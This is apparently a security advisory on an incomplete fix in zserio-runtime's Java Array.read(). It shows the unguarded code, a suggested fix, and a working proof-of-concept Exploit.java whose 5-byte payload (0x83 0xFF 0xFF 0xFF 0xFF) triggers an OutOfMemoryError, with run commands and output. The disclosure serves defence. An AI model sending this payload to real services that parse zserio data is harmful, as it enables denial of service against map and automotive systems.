zserio-runtime: Incomplete fix for GHSA-cwq5-8pvq-j65j — Array.read() bounds check skipped for variable-size element types (String, Object)
Description
The fix for GHSA-cwq5-8pvq-j65j shipped in zserio-runtime 2.18.1 is incomplete. The new bounds check in Array.read() is gated on arrayTraits.isBitSizeOfConstant(), which returns false for variable-size element types including strings and complex structs. For those types the check is never reached, rawArray.reset(readSize) executes unconditionally with an attacker-controlled value, and a 5-byte payload declaring Integer.MAX_VALUE elements causes an attempted ~16 GB heap allocation that crashes any process parsing untrusted zserio data — with no authentication required.
Details
File: compiler/extensions/java/runtime/src/zserio/runtime/array/Array.java
The partial fix added a bounds check inside an if (arrayTraits.isBitSizeOfConstant()) block:
if (arrayType == ArrayType.AUTO) {
readSize = reader.readVarSize(); // attacker-controlled
}
if (arrayTraits.isBitSizeOfConstant()) {
// bounds check — only executed for fixed-size primitive types
final int elementSize = arrayTraits.bitSizeOf(reader.getBitPosition(), ArrayElement.Dummy);
if (reader.getBitPosition() + (long)readSize * elementSize > reader.getBufferBitSize()) {
throw new IOException("Array: Array size exceeds buffer length!");
}
}
rawArray.reset(readSize); // ← always executes; no guard for variable-size typesTwo widely-used trait classes return false for isBitSizeOfConstant(), bypassing the guard:
StringArrayTraits—compiler/extensions/java/runtime/src/zserio/runtime/array/ArrayTraits.java— used for every string field in a schemaObjectArrayTraits— same file — used for every array of generated struct or union types
For these types, rawArray.reset(Integer.MAX_VALUE) calls new String[2_147_483_647] (or equivalent object array), attempting to allocate ~16 GB of heap references, which raises an unrecoverable OutOfMemoryError.
The 5-byte varSize encoding for Integer.MAX_VALUE is 0x83 0xFF 0xFF 0xFF 0xFF.
Suggested fix: Move the bounds check outside the isBitSizeOfConstant() block so it applies unconditionally before rawArray.reset(). For variable-size elements, one bit per element is a sound lower bound:
if (reader.getBitPosition() + readSize > reader.getBufferBitSize()) {
throw new IOException("Array: Array size exceeds buffer length!");
}
rawArray.reset(readSize);PoC
Requirements: zserio-runtime source from HEAD (compiler/extensions/java/runtime/src/), OpenJDK 25.0.3 (2026-04-21), Maven
Steps:
- Create a Maven project.
- Copy the 95 Java files from
compiler/extensions/java/runtime/src/intosrc/main/java/. - Add the following
Exploit.javatosrc/main/java/. - Run with a restricted heap so the OOM occurs quickly.
import zserio.runtime.array.*;
import zserio.runtime.io.ByteArrayBitStreamReader;
public class Exploit {
// varSize(Integer.MAX_VALUE) = 0x83 0xFF 0xFF 0xFF 0xFF
static final byte[] PAYLOAD = {
(byte)0x83,(byte)0xFF,(byte)0xFF,(byte)0xFF,(byte)0xFF
};
public static void main(String[] args) throws Exception {
// Control: int32 array (isBitSizeOfConstant = true) — FIXED in 2.18.1
try {
ByteArrayBitStreamReader r =
new ByteArrayBitStreamReader(PAYLOAD, PAYLOAD.length * 8);
new Array(new RawArray.IntRawArray(),
new ArrayTraits.BitFieldIntArrayTraits(32), ArrayType.AUTO).read(r);
} catch (java.io.IOException e) {
System.out.println("[BLOCKED] int32: " + e.getMessage());
}
// Attack: String array (isBitSizeOfConstant = false) — NOT fixed
try {
ByteArrayBitStreamReader r =
new ByteArrayBitStreamReader(PAYLOAD, PAYLOAD.length * 8);
new Array(new RawArray.StringRawArray(),
new ArrayTraits.StringArrayTraits(), ArrayType.AUTO).read(r);
} catch (OutOfMemoryError e) {
System.out.println("[VULNERABLE] String: OOM — rawArray.reset(Integer.MAX_VALUE)");
}
}
}Run:
MAVEN_OPTS="-Xmx512m" mvn compile exec:java -Dexec.mainClass=ExploitOutput (reproduced 3 times, OpenJDK 25.0.3 2026-04-21):
[BLOCKED] int32 : Array: Array size exceeds buffer length!
[VULNERABLE] String: OOM — rawArray.reset(Integer.MAX_VALUE) executedImpact
This is a denial-of-service vulnerability. Any unauthenticated party able to supply a crafted zserio binary to a service that deserializes AUTO arrays of strings or structured objects can crash the parsing process with a single 5-byte payload. No schema knowledge or prior interaction is required.
zserio is the serialization framework underlying the NDS (Navigation Data Standard), used in production by 43 member companies including Toyota, BMW, Volkswagen, and Mercedes-Benz. Affected deployments include NDS.Live cloud map update pipelines, over-the-air map data distribution, and backend data-processing services. On resource-constrained automotive ECUs a crash at parse time could affect ADAS and navigation functionality at runtime.